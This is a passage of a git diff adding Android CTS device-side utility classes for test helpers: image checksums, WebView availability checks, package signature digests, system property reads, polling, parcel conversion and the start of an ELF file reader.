+            } else if (outputBufIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                continue;
+            } else {
+                Log.w(TAG, "decoder.dequeueOutputBuffer() unrecognized index: " + outputBufIndex);
+                return false;
+            }
+        }
+
+        if (decodedFrameCount != expectedFrameCount) {
+            return false;
+        }
+
+        return true;
+    }
+
+    public static String getImageMD5Checksum(Image image) throws Exception {
+        int format = image.getFormat();
+        if (ImageFormat.YUV_420_888 != format) {
+            Log.w(TAG, "unsupported image format");
+            return "";
+        }
+
+        MessageDigest md = MessageDigest.getInstance("MD5");
+
+        int imageWidth = image.getWidth();
+        int imageHeight = image.getHeight();
+
+        Image.Plane[] planes = image.getPlanes();
+        for (int i = 0; i < planes.length; ++i) {
+            ByteBuffer buf = planes[i].getBuffer();
+
+            int width, height, rowStride, pixelStride, x, y;
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            if (i == 0) {
+                width = imageWidth;
+                height = imageHeight;
+            } else {
+                width = imageWidth / 2;
+                height = imageHeight /2;
+            }
+            // local contiguous pixel buffer
+            byte[] bb = new byte[width * height];
+            if (buf.hasArray()) {
+                byte b[] = buf.array();
+                int offs = buf.arrayOffset();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                    }
+                } else {
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        int lineOffset = offs + y * rowStride;
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = b[lineOffset + x * pixelStride];
+                        }
+                    }
+                }
+            } else { // almost always ends up here due to direct buffers
+                int pos = buf.position();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        buf.get(bb, y * width, width);
+                    }
+                } else {
+                    // local line buffer
+                    byte[] lb = new byte[rowStride];
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
+                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = lb[x * pixelStride];
+                        }
+                    }
+                }
+                buf.position(pos);
+            }
+            md.update(bb, 0, width * height);
+        }
+
+        return convertByteArrayToHEXString(md.digest());
+    }
+
+    private static String convertByteArrayToHEXString(byte[] ba) throws Exception {
+        StringBuilder result = new StringBuilder();
+        for (int i = 0; i < ba.length; i++) {
+            result.append(Integer.toString((ba[i] & 0xff) + 0x100, 16).substring(1));
+        }
+        return result.toString();
+    }
+
+
+    /*
+     *  -------------------------------------- END --------------------------------------
+     */
+}
diff --git a/hostsidetests/api/src/com/android/cts/api/PulledFile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MoreMatchers.java
similarity index 63%
copy from hostsidetests/api/src/com/android/cts/api/PulledFile.java
copy to common/device-side/util-axt/src/com/android/compatibility/common/util/MoreMatchers.java
index 4742d52..cee610e 100644
--- a/hostsidetests/api/src/com/android/cts/api/PulledFile.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MoreMatchers.java
@@ -13,17 +13,19 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.compatibility.common.util;
 
-package com.android.cts.api;
+import org.mockito.ArgumentMatchers;
 
-import java.io.File;
+public class MoreMatchers {
+    private MoreMatchers() {
+    }
 
-class PulledFile {
-    final File fileInHost;
-    final String pathInDevice;
+    public static <T> T anyOrNull(Class<T> clazz) {
+        return ArgumentMatchers.argThat(value -> true);
+    }
 
-    PulledFile(File fileInHost, String pathInDevice) {
-        this.fileInHost = fileInHost;
-        this.pathInDevice = pathInDevice;
+    public static String anyStringOrNull() {
+        return ArgumentMatchers.argThat(value -> true);
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/NullWebViewUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/NullWebViewUtils.java
new file mode 100644
index 0000000..3153adb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/NullWebViewUtils.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+/**
+ * Utilities to enable the android.webkit.* CTS tests (and others that rely on a functioning
+ * android.webkit.WebView implementation) to determine whether a functioning WebView is present
+ * on the device or not.
+ *
+ * Test cases that require android.webkit.* classes should wrap their first usage of WebView in a
+ * try catch block, and pass any exception that is thrown to
+ * NullWebViewUtils.determineIfWebViewAvailable. The return value of
+ * NullWebViewUtils.isWebViewAvailable will then determine if the test should expect to be able to
+ * use a WebView.
+ */
+public class NullWebViewUtils {
+
+    private static boolean sWebViewUnavailable;
+
+    /**
+     * @param context Current Activity context, used to query the PackageManager.
+     * @param t       An exception thrown by trying to invoke android.webkit.* APIs.
+     */
+    public static void determineIfWebViewAvailable(Context context, Throwable t) {
+        sWebViewUnavailable = !hasWebViewFeature(context) && checkCauseWasUnsupportedOperation(t);
+    }
+
+    /**
+     * After calling determineIfWebViewAvailable, this returns whether a WebView is available on the
+     * device and wheter the test can rely on it.
+     * @return True iff. PackageManager determined that there is no WebView on the device and the
+     *         exception thrown from android.webkit.* was UnsupportedOperationException.
+     */
+    public static boolean isWebViewAvailable() {
+        return !sWebViewUnavailable;
+    }
+
+    private static boolean hasWebViewFeature(Context context) {
+        // Query the system property that determins if there is a functional WebView on the device.
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
+    }
+
+    private static boolean checkCauseWasUnsupportedOperation(Throwable t) {
+        if (t == null) return false;
+        while (t.getCause() != null) {
+            t = t.getCause();
+        }
+        return t instanceof UnsupportedOperationException;
+    }
+
+    /**
+     * Some CTS tests (by design) first use android.webkit.* from a background thread. This helper
+     * allows the test to catch the UnsupportedOperationException from that background thread, and
+     * then query the result from the test main thread.
+     */
+    public static class NullWebViewFromThreadExceptionHandler
+            implements Thread.UncaughtExceptionHandler {
+        private Throwable mPendingException;
+
+        @Override
+        public void uncaughtException(Thread t, Throwable e) {
+            mPendingException = e;
+        }
+
+        public boolean isWebViewAvailable(Context context) {
+            return hasWebViewFeature(context) ||
+                    !checkCauseWasUnsupportedOperation(mPendingException);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OnFailureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/OnFailureRule.java
new file mode 100644
index 0000000..585c145
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OnFailureRule.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that provides a callback upon test failures.
+ */
+public abstract class OnFailureRule implements TestRule {
+    private String mLogTag = "OnFailureRule";
+
+    public OnFailureRule() {
+    }
+
+    public OnFailureRule(String logTag) {
+        mLogTag = logTag;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    Log.e(mLogTag, "Test failed: description=" +  description + "\nThrowable=" + t);
+                    onTestFailure(base, description, t);
+                    throw t;
+                }
+            }
+        };
+    }
+
+    protected abstract void onTestFailure(Statement base, Description description, Throwable t);
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..0dd9e82
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+/**
+ * Device-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+    private static final String TAG = PackageUtil.class.getSimpleName();
+
+    private static final int SYSTEM_APP_MASK =
+            ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    /** Returns true if a package with the given name exists on the device */
+    public static boolean exists(String packageName) {
+        try {
+            return (getPackageManager().getApplicationInfo(packageName,
+                    PackageManager.GET_META_DATA) != null);
+        } catch(PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /** Returns true if a package with the given name AND SHA digest exists on the device */
+    public static boolean exists(String packageName, String sha) {
+        try {
+            if (getPackageManager().getApplicationInfo(
+                    packageName, PackageManager.GET_META_DATA) == null) {
+                return false;
+            }
+            return sha.equals(computePackageSignatureDigest(packageName));
+        } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /** Returns true if the app for the given package name is a system app for this device */
+    public static boolean isSystemApp(String packageName) {
+        try {
+            ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
+                    PackageManager.GET_META_DATA);
+            return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
+        } catch(PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /** Returns the version string of the package name, or null if the package can't be found */
+    public static String getVersionString(String packageName) {
+        try {
+            PackageInfo info = getPackageManager().getPackageInfo(packageName,
+                    PackageManager.GET_META_DATA);
+            return info.versionName;
+        } catch (PackageManager.NameNotFoundException | NullPointerException e) {
+            Log.w(TAG, "Could not find version string for package " + packageName);
+            return null;
+        }
+    }
+
+    /**
+     * Compute the signature SHA digest for a package.
+     * @param package the name of the package for which the signature SHA digest is requested
+     * @return the signature SHA digest
+     */
+    public static String computePackageSignatureDigest(String packageName)
+            throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
+        PackageInfo packageInfo = getPackageManager()
+                .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signatures[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+        return new String(chars);
+    }
+
+    private static PackageManager getPackageManager() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+    }
+
+    private static boolean hasDeviceFeature(final String requiredFeature) {
+        return InstrumentationRegistry.getContext()
+                .getPackageManager()
+                .hasSystemFeature(requiredFeature);
+    }
+
+    /**
+     * Rotation support is indicated by explicitly having both landscape and portrait
+     * features or not listing either at all.
+     */
+    public static boolean supportsRotation() {
+        final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
+        final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+        return (supportsLandscape && supportsPortrait)
+                || (!supportsLandscape && !supportsPortrait);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ParcelUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ParcelUtils.java
new file mode 100644
index 0000000..ecaa722
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ParcelUtils.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class ParcelUtils {
+    private ParcelUtils() {
+    }
+
+    /** Convert a Parcelable into a byte[]. */
+    public static byte[] toBytes(Parcelable p) {
+        assertNotNull(p);
+
+        final Parcel parcel = Parcel.obtain();
+        parcel.writeParcelable(p, 0);
+        byte[] data = parcel.marshall();
+        parcel.recycle();
+
+        return data;
+    }
+
+    /** Decode a byte[] into a Parcelable. */
+    public static <T extends Parcelable> T fromBytes(byte[] data) {
+        assertNotNull(data);
+
+        final Parcel parcel = Parcel.obtain();
+        parcel.unmarshall(data, 0, data.length);
+        parcel.setDataPosition(0);
+        T ret = parcel.readParcelable(ParcelUtils.class.getClassLoader());
+        parcel.recycle();
+
+        return ret;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
new file mode 100644
index 0000000..bcc3530
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.util.concurrent.Callable;
+
+import junit.framework.Assert;
+
+public abstract class PollingCheck {
+    private static final long TIME_SLICE = 50;
+    private long mTimeout = 3000;
+
+    public static interface PollingCheckCondition {
+        boolean canProceed();
+    }
+
+    public PollingCheck() {
+    }
+
+    public PollingCheck(long timeout) {
+        mTimeout = timeout;
+    }
+
+    protected abstract boolean check();
+
+    public void run() {
+        if (check()) {
+            return;
+        }
+
+        long timeout = mTimeout;
+        while (timeout > 0) {
+            try {
+                Thread.sleep(TIME_SLICE);
+            } catch (InterruptedException e) {
+                Assert.fail("unexpected InterruptedException");
+            }
+
+            if (check()) {
+                return;
+            }
+
+            timeout -= TIME_SLICE;
+        }
+
+        Assert.fail("unexpected timeout");
+    }
+
+    public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
+            throws Exception {
+        while (timeout > 0) {
+            if (condition.call()) {
+                return;
+            }
+
+            Thread.sleep(TIME_SLICE);
+            timeout -= TIME_SLICE;
+        }
+
+        Assert.fail(message.toString());
+    }
+
+    public static void waitFor(final PollingCheckCondition condition) {
+        new PollingCheck() {
+            @Override
+            protected boolean check() {
+                return condition.canProceed();
+            }
+        }.run();
+    }
+
+    public static void waitFor(long timeout, final PollingCheckCondition condition) {
+        new PollingCheck(timeout) {
+            @Override
+            protected boolean check() {
+                return condition.canProceed();
+            }
+        }.run();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
new file mode 100644
index 0000000..285b732
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Device-side utility class for reading properties and gathering information for testing
+ * Android device compatibility.
+ */
+public class PropertyUtil {
+
+    /**
+     * Name of read-only property detailing the first API level for which the product was
+     * shipped. Property should be undefined for factory ROM products.
+     */
+    public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+    private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+    private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+    private static final String TAG_DEV_KEYS = "dev-keys";
+    private static final String VNDK_VERSION = "ro.vndk.version";
+
+    public static final String GOOGLE_SETTINGS_QUERY =
+            "content query --uri content://com.google.settings/partner";
+
+    /** Value to be returned by getPropertyInt() if property is not found */
+    public static int INT_VALUE_IF_UNSET = -1;
+
+    /** Returns whether the device build is a user build */
+    public static boolean isUserBuild() {
+        return propertyEquals(BUILD_TYPE_PROPERTY, "user");
+    }
+
+    /** Returns whether the device build is the factory ROM */
+    public static boolean isFactoryROM() {
+        // property should be undefined if and only if the product is factory ROM.
+        return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
+    }
+
+    /** Returns whether this build is built with dev-keys */
+    public static boolean isDevKeysBuild() {
+        for (String tag : Build.TAGS.split(",")) {
+            if (TAG_DEV_KEYS.equals(tag.trim())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Return the first API level for this product. If the read-only property is unset,
+     * this means the first API level is the current API level, and the current API level
+     * is returned.
+     */
+    public static int getFirstApiLevel() {
+        int firstApiLevel = getPropertyInt(FIRST_API_LEVEL);
+        return (firstApiLevel == INT_VALUE_IF_UNSET) ? Build.VERSION.SDK_INT : firstApiLevel;
+    }
+
+    /**
+     * Return whether the SDK version of the vendor partiton is newer than the given API level.
+     * If the property is set to non-integer value, this means the vendor partition is using
+     * current API level and true is returned.
+     */
+    public static boolean isVendorApiLevelNewerThan(int apiLevel) {
+        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+            return true;
+        }
+        return vendorApiLevel > apiLevel;
+    }
+
+    /**
+     * Return the manufacturer of this product. If unset, return null.
+     */
+    public static String getManufacturer() {
+        return getProperty(MANUFACTURER_PROPERTY);
+    }
+
+    /** Returns a mapping from client ID names to client ID values */
+    public static Map<String, String> getClientIds() throws IOException {
+        Map<String,String> clientIds = new HashMap<>();
+        String queryOutput = SystemUtil.runShellCommand(
+                InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
+        for (String line : queryOutput.split("[\\r?\\n]+")) {
+            // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+            Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+            Matcher matcher = pattern.matcher(line);
+            if (matcher.find()) {
+                String name = matcher.group(1);
+                String value = matcher.group(2);
+                if (name.contains("client_id")) {
+                    clientIds.put(name, value); // only add name-value pair for client ids
+                }
+            }
+        }
+        return clientIds;
+    }
+
+    /** Returns whether the property exists on this device */
+    public static boolean propertyExists(String property) {
+        return getProperty(property) != null;
+    }
+
+    /** Returns whether the property value is equal to a given string */
+    public static boolean propertyEquals(String property, String value) {
+        if (value == null) {
+            return !propertyExists(property); // null value implies property does not exist
+        }
+        return value.equals(getProperty(property));
+    }
+
+    /**
+     * Returns whether the property value matches a given regular expression. The method uses
+     * String.matches(), requiring a complete match (i.e. expression matches entire value string)
+     */
+    public static boolean propertyMatches(String property, String regex) {
+        if (regex == null || regex.isEmpty()) {
+            // null or empty pattern implies property does not exist
+            return !propertyExists(property);
+        }
+        String value = getProperty(property);
+        return (value == null) ? false : value.matches(regex);
+    }
+
+    /**
+     * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
+     */
+    public static int getPropertyInt(String property) {
+        String value = getProperty(property);
+        if (value == null) {
+            return INT_VALUE_IF_UNSET;
+        }
+        try {
+            return Integer.parseInt(value);
+        } catch (NumberFormatException e) {
+            return INT_VALUE_IF_UNSET;
+        }
+    }
+
+    /** Retrieves the desired property value in string form */
+    public static String getProperty(String property) {
+        Scanner scanner = null;
+        try {
+            Process process = new ProcessBuilder("getprop", property).start();
+            scanner = new Scanner(process.getInputStream());
+            String value = scanner.nextLine().trim();
+            return (value.isEmpty()) ? null : value;
+        } catch (IOException e) {
+            return null;
+        } finally {
+            if (scanner != null) {
+                scanner.close();
+            }
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ReadElf.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReadElf.java
new file mode 100644
index 0000000..feaa9cd
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReadElf.java
@@ -0,0 +1,494 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A poor man's implementation of the readelf command. This program is designed
+ * to parse ELF (Executable and Linkable Format) files.
+ */
+public class ReadElf implements AutoCloseable {
+    /** The magic values for the ELF identification. */
+    private static final byte[] ELFMAG = {
+            (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F', };
+
+    private static final int EI_NIDENT = 16;
+
+    private static final int EI_CLASS = 4;
+    private static final int EI_DATA = 5;
+
+    private static final int EM_386 = 3;
+    private static final int EM_MIPS = 8;
+    private static final int EM_ARM = 40;
+    private static final int EM_X86_64 = 62;
+    // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
+    private static final int EM_QDSP6 = 164;
+    private static final int EM_AARCH64 = 183;
+
+    private static final int ELFCLASS32 = 1;
+    private static final int ELFCLASS64 = 2;
+
+    private static final int ELFDATA2LSB = 1;
+    private static final int ELFDATA2MSB = 2;
+
+    private static final int EV_CURRENT = 1;
+
+    private static final long PT_LOAD = 1;
+
+    private static final int SHT_SYMTAB = 2;
+    private static final int SHT_STRTAB = 3;
+    private static final int SHT_DYNAMIC = 6;
+    private static final int SHT_DYNSYM = 11;
+
+    public static class Symbol {
+        public static final int STB_LOCAL = 0;
+        public static final int STB_GLOBAL = 1;
+        public static final int STB_WEAK = 2;
+        public static final int STB_LOPROC = 13;
+        public static final int STB_HIPROC = 15;
+
+        public static final int STT_NOTYPE = 0;
+        public static final int STT_OBJECT = 1;
+        public static final int STT_FUNC = 2;
+        public static final int STT_SECTION = 3;
+        public static final int STT_FILE = 4;
+        public static final int STT_COMMON = 5;
+        public static final int STT_TLS = 6;
+
+        public final String name;
+        public final int bind;
+        public final int type;
+
+        Symbol(String name, int st_info) {
+            this.name = name;
+            this.bind = (st_info >> 4) & 0x0F;
+            this.type = st_info & 0x0F;
+        }
+
+        @Override
+        public String toString() {
+            return "Symbol[" + name + "," + toBind() + "," + toType() + "]";
+        }
+
+        private String toBind() {
+            switch (bind) {
+                case STB_LOCAL:
+                    return "LOCAL";
+                case STB_GLOBAL:
+                    return "GLOBAL";
+                case STB_WEAK:
+                    return "WEAK";
+            }
+            return "STB_??? (" + bind + ")";
+        }
+
+        private String toType() {
+            switch (type) {
+                case STT_NOTYPE:
+                    return "NOTYPE";
+                case STT_OBJECT:
+                    return "OBJECT";
+                case STT_FUNC:
+                    return "FUNC";
+                case STT_SECTION:
+                    return "SECTION";
+                case STT_FILE:
+                    return "FILE";
+                case STT_COMMON:
+                    return "COMMON";
+                case STT_TLS:
+                    return "TLS";
+            }
+            return "STT_??? (" + type + ")";
+        }
+    }
+
+    private final String mPath;
+    private final RandomAccessFile mFile;
+    private final byte[] mBuffer = new byte[512];
+    private int mEndian;
+    private boolean mIsDynamic;
+    private boolean mIsPIE;
+    private int mType;
+    private int mAddrSize;
+
+    /** Symbol Table offset */
+    private long mSymTabOffset;
+
+    /** Symbol Table size */
+    private long mSymTabSize;
+
+    /** Dynamic Symbol Table offset */
+    private long mDynSymOffset;
+
+    /** Dynamic Symbol Table size */
+    private long mDynSymSize;
+
+    /** Section Header String Table offset */
+    private long mShStrTabOffset;
+
+    /** Section Header String Table size */
+    private long mShStrTabSize;
+
+    /** String Table offset */
+    private long mStrTabOffset;
+
+    /** String Table size */
+    private long mStrTabSize;
+
+    /** Dynamic String Table offset */
+    private long mDynStrOffset;
+
+    /** Dynamic String Table size */
+    private long mDynStrSize;
+
+    /** Symbol Table symbol names */
+    private Map<String, Symbol> mSymbols;
+
+    /** Dynamic Symbol Table symbol names */
+    private Map<String, Symbol> mDynamicSymbols;
+
+    public static ReadElf read(File file) throws IOException {
+        return new ReadElf(file);
+    }
+
+    public static void main(String[] args) throws IOException {
+        for (String arg : args) {
+            ReadElf re = new ReadElf(new File(arg));
+            re.getSymbol("x");
+            re.getDynamicSymbol("x");
+            re.close();
+        }
+    }
+
+    public boolean isDynamic() {
+        return mIsDynamic;
+    }
+
+    public int getType() {
+        return mType;
+    }
+
+    public boolean isPIE() {
+        return mIsPIE;
+    }
+
+    private ReadElf(File file) throws IOException {
+        mPath = file.getPath();
+        mFile = new RandomAccessFile(file, "r");
+
+        if (mFile.length() < EI_NIDENT) {
+            throw new IllegalArgumentException("Too small to be an ELF file: " + file);
+        }
+
+        readHeader();
+    }
+
+    @Override
+    public void close() {
+        try {
+            mFile.close();
+        } catch (IOException ignored) {
+        }
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        try {
+            close();
+        } finally {
+            super.finalize();
+        }
+    }
+
+    private void readHeader() throws IOException {
+        mFile.seek(0);
+        mFile.readFully(mBuffer, 0, EI_NIDENT);
+
+        if (mBuffer[0] != ELFMAG[0] || mBuffer[1] != ELFMAG[1] ||
+                mBuffer[2] != ELFMAG[2] || mBuffer[3] != ELFMAG[3]) {
+            throw new IllegalArgumentException("Invalid ELF file: " + mPath);
+        }
+
+        int elfClass = mBuffer[EI_CLASS];
+        if (elfClass == ELFCLASS32) {
+            mAddrSize = 4;
+        } else if (elfClass == ELFCLASS64) {
+            mAddrSize = 8;
+        } else {
+            throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
+        }
+
+        mEndian = mBuffer[EI_DATA];
+        if (mEndian == ELFDATA2LSB) {
+        } else if (mEndian == ELFDATA2MSB) {
+            throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
+        } else {
+            throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
+        }
+
+        mType = readHalf();
+
+        int e_machine = readHalf();
+        if (e_machine != EM_386 && e_machine != EM_X86_64 &&
+                e_machine != EM_AARCH64 && e_machine != EM_ARM &&
+                e_machine != EM_MIPS &&
+                e_machine != EM_QDSP6) {
+            throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
+        }
+
+        // AbiTest relies on us rejecting any unsupported combinations.
+        if ((e_machine == EM_386 && elfClass != ELFCLASS32) ||
+                (e_machine == EM_X86_64 && elfClass != ELFCLASS64) ||
+                (e_machine == EM_AARCH64 && elfClass != ELFCLASS64) ||
+                (e_machine == EM_ARM && elfClass != ELFCLASS32) ||
+                (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
+            throw new IOException("Invalid e_machine/EI_CLASS ELF combination: " +
+                    e_machine + "/" + elfClass + ": " + mPath);
+        }
+
+        long e_version = readWord();
+        if (e_version != EV_CURRENT) {
